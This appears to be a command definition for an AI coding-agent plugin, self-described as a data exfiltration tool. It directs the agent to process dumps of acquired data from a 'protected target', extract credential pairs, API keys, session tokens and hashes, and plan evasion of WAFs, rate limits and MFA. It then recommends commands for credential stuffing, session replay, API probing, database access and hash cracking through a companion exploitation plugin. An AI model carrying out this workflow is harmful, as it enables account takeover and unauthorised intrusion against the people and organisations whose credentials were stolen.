/ty-handoff

description: Generate a structured elliot handoff package for a protected target
allowed-tools: Bash, Read, Write
argument-hint: <source-id> [--tech-stack X] [--defenses X]

You are generating an elliot handoff package for the tyrell data exfiltration plugin.

Step 1 — Retrieve Source and Acquisition Records

Pull the full source record and any associated acquisition data:

node "${CLAUDE_PLUGIN_ROOT}/scripts/source-tracker.js" list --id $ARGUMENTS
node "${CLAUDE_PLUGIN_ROOT}/scripts/acquisition-tracker.js" list --source-id $ARGUMENTS

Confirm the source has been acquired before generating a handoff. If no acquisition record exists, recommend running `/ty-acquire <source-id>` first.

Step 2 — Build the Handoff Package

Run the handoff builder with all available context:

node "${CLAUDE_PLUGIN_ROOT}/scripts/handoff-builder.js" create $ARGUMENTS

The handoff builder will:

• Read the source and acquisition records
• Extract schema and field mapping from the dump
• Identify credential pairs (username, password, hash) for credential stuffing
• Identify session tokens, API keys, or access tokens in the data
• Map discovered credentials against the target's known tech stack
• Produce a structured handoff package in `${CLAUDE_PLUGIN_ROOT}/data/handoffs/<source-id>/`

Step 3 — Enrich with Tech Stack and Defense Context

If `--tech-stack` or `--defenses` were provided in `$ARGUMENTS`, or if known from the source context, append this intelligence to the handoff:

node "${CLAUDE_PLUGIN_ROOT}/scripts/handoff-builder.js" enrich \
  --source-id "<source-id>" \
  --tech-stack "<tech-stack-value>" \
  --defenses "<defenses-value>"

Tech stack context guides elliot on which exploitation paths to prioritize (e.g., discovered MySQL credentials mapped against a WordPress target suggest `wp-login` credential stuffing before direct DB access).

Defense context guides elliot on evasion requirements (e.g., WAF present, rate limiting, MFA on admin panels).

Step 4 — Generate Handoff Report

The handoff package is written to disk. Display its contents summary:

node "${CLAUDE_PLUGIN_ROOT}/scripts/handoff-builder.js" summary \
  --source-id "<source-id>"

Output a formatted handoff report:

ELLIOT HANDOFF PACKAGE
======================
Source ID       : <id>
Package Path    : ${CLAUDE_PLUGIN_ROOT}/data/handoffs/<source-id>/
Generated       : <timestamp>

TARGET CONTEXT
--------------
Tech Stack   : <value or 'unknown'>
Defenses     : <value or 'unknown'>

CREDENTIAL INTELLIGENCE
-----------------------
Total Pairs       : <count>
Cleartext Pairs   : <count>
Hashed Pairs      : <count>
Hash Types        : <md5|sha1|bcrypt|...>
API Keys Found    : <count>
Session Tokens    : <count>

HIGH-VALUE ENTRIES (preview)
-----------------------------
<first 3 credential pairs with email domain / hash type, no cleartext printed>

RECOMMENDED ELLIOT COMMANDS
----------------------------

Step 5 — Generate Recommended Elliot Commands

Based on the handoff intelligence, suggest specific elliot commands for the operator to run next:

• If cleartext credentials found: `/elliot credential-stuff --target <domain> --list <handoff-path>/credentials.txt`
• If API keys found: `/elliot api-probe --keys <handoff-path>/api-keys.txt`
• If session tokens found: `/elliot session-replay --tokens <handoff-path>/tokens.txt`
• If database credentials found: `/elliot db-connect --creds <handoff-path>/db-creds.json`
• If hashed passwords found: `/elliot hashcrack --file <handoff-path>/hashes.txt --type <hash-type>`

Write the handoff manifest to disk:

# The handoff-builder will write:
# <source-id>/manifest.json        — full structured handoff record
# <source-id>/credentials.txt      — credential pairs (if any)
# <source-id>/api-keys.txt         — API keys (if any)
# <source-id>/hashes.txt           — password hashes (if any)
# <source-id>/tokens.txt           — session tokens (if any)
# <source-id>/db-creds.json        — database credentials (if any)
# <source-id>/README.md            — human-readable summary

The handoff package is ready for use with the elliot plugin.